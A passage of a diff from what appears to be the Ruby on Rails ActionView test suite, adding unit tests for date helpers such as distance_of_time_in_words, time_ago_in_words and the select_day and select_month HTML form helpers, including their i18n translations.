+ I18n.expects(:t).with(:less_than_x_minutes, :scope => :'datetime.distance_in_words', :count => 1, :locale => 'ru')
+ time_ago_in_words(15.seconds.ago, :locale => 'ru')
+ end
+
+ def test_distance_of_time_pluralizations
+ { [:'less_than_x_seconds', 1] => 'less than 1 second',
+ [:'less_than_x_seconds', 2] => 'less than 2 seconds',
+ [:'less_than_x_minutes', 1] => 'less than a minute',
+ [:'less_than_x_minutes', 2] => 'less than 2 minutes',
+ [:'x_minutes', 1] => '1 minute',
+ [:'x_minutes', 2] => '2 minutes',
+ [:'about_x_hours', 1] => 'about 1 hour',
+ [:'about_x_hours', 2] => 'about 2 hours',
+ [:'x_days', 1] => '1 day',
+ [:'x_days', 2] => '2 days',
+ [:'about_x_years', 1] => 'about 1 year',
+ [:'about_x_years', 2] => 'about 2 years',
+ [:'over_x_years', 1] => 'over 1 year',
+ [:'over_x_years', 2] => 'over 2 years'
+
+ }.each do |args, expected|
+ key, count = *args
+ assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
+ end
+ end
+
+ def assert_distance_of_time_in_words_translates_key(passed, expected, expected_options = {})
+ diff, passed_options = *passed
+ key, count = *expected
+ to = @from + diff
+
+ options = { locale: 'en', scope: :'datetime.distance_in_words' }.merge!(expected_options)
+ options[:count] = count if count
+
+ I18n.expects(:t).with(key, options)
+ distance_of_time_in_words(@from, to, passed_options.merge(locale: 'en'))
+ end
+end
+
+class DateHelperSelectTagsI18nTests < ActiveSupport::TestCase
+ include ActionView::Helpers::DateHelper
+ attr_reader :request
+
+ def setup
+ @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'}
+
+ I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+ end
+
+ # select_month
+
+ def test_select_month_given_use_month_names_option_does_not_translate_monthnames
+ I18n.expects(:translate).never
+ select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
+ end
+
+ def test_select_month_translates_monthnames
+ I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+ select_month(8, :locale => 'en')
+ end
+
+ def test_select_month_given_use_short_month_option_translates_abbr_monthnames
+ I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
+ select_month(8, :locale => 'en', :use_short_month => true)
+ end
+
+ def test_date_or_time_select_translates_prompts
+ @prompt_defaults.each do |key, prompt|
+ I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
+ end
+
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(year month day)
+ datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
+ end
+
+ # date_or_time_select
+
+ def test_date_or_time_select_given_an_order_options_does_not_translate_order
+ I18n.expects(:translate).never
+ datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
+ end
+
+ def test_date_or_time_select_given_no_order_options_translates_order
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(year month day)
+ datetime_select('post', 'updated_at', :locale => 'en')
+ end
+
+ def test_date_or_time_select_given_invalid_order
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns %w(invalid month day)
+
+ assert_raise StandardError do
+ datetime_select('post', 'updated_at', :locale => 'en')
+ end
+ end
+
+ def test_date_or_time_select_given_symbol_keys
+ I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:year, :month, :day]
+ datetime_select('post', 'updated_at', :locale => 'en')
+ end
+end
diff --git a/actionview/test/template/date_helper_test.rb b/actionview/test/template/date_helper_test.rb
new file mode 100644
index 0000000000..a6962b5200
--- /dev/null
+++ b/actionview/test/template/date_helper_test.rb
@@ -0,0 +1,3228 @@
+require 'abstract_unit'
+
+class DateHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::DateHelper
+
+ silence_warnings do
+ Post = Struct.new("Post", :id, :written_on, :updated_at)
+ Post.class_eval do
+ def id
+ 123
+ end
+ def id_before_type_cast
+ 123
+ end
+ def to_param
+ '123'
+ end
+ end
+ end
+
+ def assert_distance_of_time_in_words(from, to=nil)
+ to ||= from
+
+ # 0..1 minute with :include_seconds => true
+ assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => true)
+ assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => true)
+ assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => true)
+ assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => true)
+ assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => true)
+ assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => true)
+ assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => true)
+ assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => true)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => true)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => true)
+
+ # 0..1 minute with :include_seconds => false
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => false)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => false)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => false)
+
+ # Note that we are including a 30-second boundary around the interval we
+ # want to test. For instance, "1 minute" is actually 30s to 1m29s. The
+ # reason for doing this is simple -- in `distance_of_time_to_words`, when we
+ # take the distance between our two Time objects in seconds and convert it
+ # to minutes, we round the number. So 29s gets rounded down to 0m, 30s gets
+ # rounded up to 1m, and 1m29s gets rounded down to 1m. A similar thing
+ # happens with the other cases.
+
+ # First case 0..1 minute
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
+ assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
+ assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
+
+ # 2 minutes up to 45 minutes
+ assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
+ assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
+
+ # 45 minutes up to 90 minutes
+ assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
+ assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
+
+ # 90 minutes up to 24 hours
+ assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
+ assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
+
+ # 24 hours up to 42 hours
+ assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
+
+ # 42 hours up to 30 days
+ assert_equal "2 days", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 30.seconds)
+ assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
+ assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
+
+ # 30 days up to 60 days
+ assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "about 1 month", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 29.seconds)
+ assert_equal "about 2 months", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "about 2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
+
+ # 60 days up to 365 days
+ assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
+ assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
+
+ # >= 365 days
+ assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years - 30.seconds)
+ assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
+ assert_equal "over 1 year", distance_of_time_in_words(from, to + 1.years + 6.months)
+
+ assert_equal "almost 2 years", distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
+ assert_equal "about 2 years", distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
+ assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
+ assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
+ assert_equal "almost 3 years", distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
+
+ assert_equal "almost 5 years", distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
+ assert_equal "about 5 years", distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
+ assert_equal "over 5 years", distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
+ assert_equal "over 5 years", distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
+ assert_equal "almost 6 years", distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
+
+ assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
+ assert_equal "about 10 years", distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
+ assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
+ assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
+ assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
+
+ # test to < from
+ assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
+ assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => false)
+ end
+
+ def test_distance_in_words
+ from = Time.utc(2004, 6, 6, 21, 45, 0)
+ assert_distance_of_time_in_words(from)
+ end
+
+ def test_distance_in_words_with_mathn_required
+ # test we avoid Integer#/ (redefined by mathn)
+ require 'mathn'
+ from = Time.utc(2004, 6, 6, 21, 45, 0)
+ assert_distance_of_time_in_words(from)
+ end
+
+ def test_time_ago_in_words_passes_include_seconds
+ assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, :include_seconds => true)
+ assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, :include_seconds => false)
+ end
+
+ def test_distance_in_words_with_time_zones
+ from = Time.mktime(2004, 6, 6, 21, 45, 0)
+ assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
+ assert_distance_of_time_in_words(from.in_time_zone('Hawaii'))
+ end
+
+ def test_distance_in_words_with_different_time_zones
+ from = Time.mktime(2004, 6, 6, 21, 45, 0)
+ assert_distance_of_time_in_words(
+ from.in_time_zone('Alaska'),
+ from.in_time_zone('Hawaii')
+ )
+ end
+
+ def test_distance_in_words_with_dates
+ start_date = Date.new 1975, 1, 31
+ end_date = Date.new 1977, 1, 31
+ assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
+
+ start_date = Date.new 1982, 12, 3
+ end_date = Date.new 2010, 11, 30
+ assert_equal("almost 28 years", distance_of_time_in_words(start_date, end_date))
+ assert_equal("almost 28 years", distance_of_time_in_words(end_date, start_date))
+ end
+
+ def test_distance_in_words_with_integers
+ assert_equal "1 minute", distance_of_time_in_words(59)
+ assert_equal "about 1 hour", distance_of_time_in_words(60*60)
+ assert_equal "1 minute", distance_of_time_in_words(0, 59)
+ assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
+ assert_equal "about 3 years", distance_of_time_in_words(10**8)
+ assert_equal "about 3 years", distance_of_time_in_words(0, 10**8)
+ end
+
+ def test_distance_in_words_with_times
+ assert_equal "1 minute", distance_of_time_in_words(30.seconds)
+ assert_equal "1 minute", distance_of_time_in_words(59.seconds)
+ assert_equal "2 minutes", distance_of_time_in_words(119.seconds)
+ assert_equal "2 minutes", distance_of_time_in_words(1.minute + 59.seconds)
+ assert_equal "3 minutes", distance_of_time_in_words(2.minute + 30.seconds)
+ assert_equal "44 minutes", distance_of_time_in_words(44.minutes + 29.seconds)
+ assert_equal "about 1 hour", distance_of_time_in_words(44.minutes + 30.seconds)
+ assert_equal "about 1 hour", distance_of_time_in_words(60.minutes)
+
+ # include seconds
+ assert_equal "half a minute", distance_of_time_in_words(39.seconds, 0, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(40.seconds, 0, :include_seconds => true)
+ assert_equal "less than a minute", distance_of_time_in_words(59.seconds, 0, :include_seconds => true)
+ assert_equal "1 minute", distance_of_time_in_words(60.seconds, 0, :include_seconds => true)
+ end
+
+ def test_time_ago_in_words
+ assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
+ end
+
+ def test_select_day
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
+ assert_dom_equal expected, select_day(16)
+ end
+
+ def test_select_day_with_blank
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), :include_blank => true)
+ assert_dom_equal expected, select_day(16, :include_blank => true)
+ end
+
+ def test_select_day_nil_with_blank
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(nil, :include_blank => true)
+ end
+
+ def test_select_day_with_two_digit_numbers
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), :use_two_digit_numbers => true)
+ assert_dom_equal expected, select_day(2, :use_two_digit_numbers => true)
+ end
+
+ def test_select_day_with_html_options
+ expected = %(<select id="date_day" name="date[day]" class="selector">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, :class => 'selector')
+ assert_dom_equal expected, select_day(16, {}, :class => 'selector')
+ end
+
+ def test_select_day_with_default_prompt
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(16, :prompt => true)
+ end
+
+ def test_select_day_with_custom_prompt
+ expected = %(<select id="date_day" name="date[day]">\n)
+ expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_day(16, :prompt => 'Choose day')
+ end
+
+ def test_select_month
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
+ assert_dom_equal expected, select_month(8)
+ end
+
+ def test_select_month_with_two_digit_numbers
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2011, 8, 16), :use_two_digit_numbers => true)
+ assert_dom_equal expected, select_month(8, :use_two_digit_numbers => true)
+ end
+
+ def test_select_month_with_disabled
+ expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :disabled => true)
+ assert_dom_equal expected, select_month(8, :disabled => true)
+ end
+
+ def test_select_month_with_field_name_override
+ expected = %(<select id="date_mois" name="date[mois]">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :field_name => 'mois')
+ assert_dom_equal expected, select_month(8, :field_name => 'mois')
+ end
+
+ def test_select_month_with_blank
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :include_blank => true)
+ assert_dom_equal expected, select_month(8, :include_blank => true)
+ end
+
+ def test_select_month_nil_with_blank
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(nil, :include_blank => true)
+ end
+
+ def test_select_month_with_numbers
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_numbers => true)
+ assert_dom_equal expected, select_month(8, :use_month_numbers => true)
+ end
+
+ def test_select_month_with_numbers_and_names
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 - December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true)
+ assert_dom_equal expected, select_month(8, :add_month_numbers => true)
+ end
+
+ def test_select_month_with_format_string
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">January (01)</option>\n<option value="2">February (02)</option>\n<option value="3">March (03)</option>\n<option value="4">April (04)</option>\n<option value="5">May (05)</option>\n<option value="6">June (06)</option>\n<option value="7">July (07)</option>\n<option value="8" selected="selected">August (08)</option>\n<option value="9">September (09)</option>\n<option value="10">October (10)</option>\n<option value="11">November (11)</option>\n<option value="12">December (12)</option>\n)
+ expected << "</select>\n"
+
+ format_string = '%{name} (%<number>02d)'
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :month_format_string => format_string)
+ assert_dom_equal expected, select_month(8, :month_format_string => format_string)
+ end
+
+ def test_select_month_with_numbers_and_names_with_abbv
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true, :use_short_month => true)
+ assert_dom_equal expected, select_month(8, :add_month_numbers => true, :use_short_month => true)
+ end
+
+ def test_select_month_with_abbv
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_short_month => true)
+ assert_dom_equal expected, select_month(8, :use_short_month => true)
+ end
+
+ def test_select_month_with_custom_names
+ month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+ expected = %(<select id="date_month" name="date[month]">\n)
+ 1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+ assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+ end
+
+ def test_select_month_with_zero_indexed_custom_names
+ month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+ expected = %(<select id="date_month" name="date[month]">\n)
+ 1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month-1]}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+ assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+ end
+
+ def test_select_month_with_hidden
+ assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, :use_hidden => true)
+ end
+
+ def test_select_month_with_hidden_and_field_name
+ assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, :use_hidden => true, :field_name => 'mois')
+ end
+
+ def test_select_month_with_html_options
+ expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
+ expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
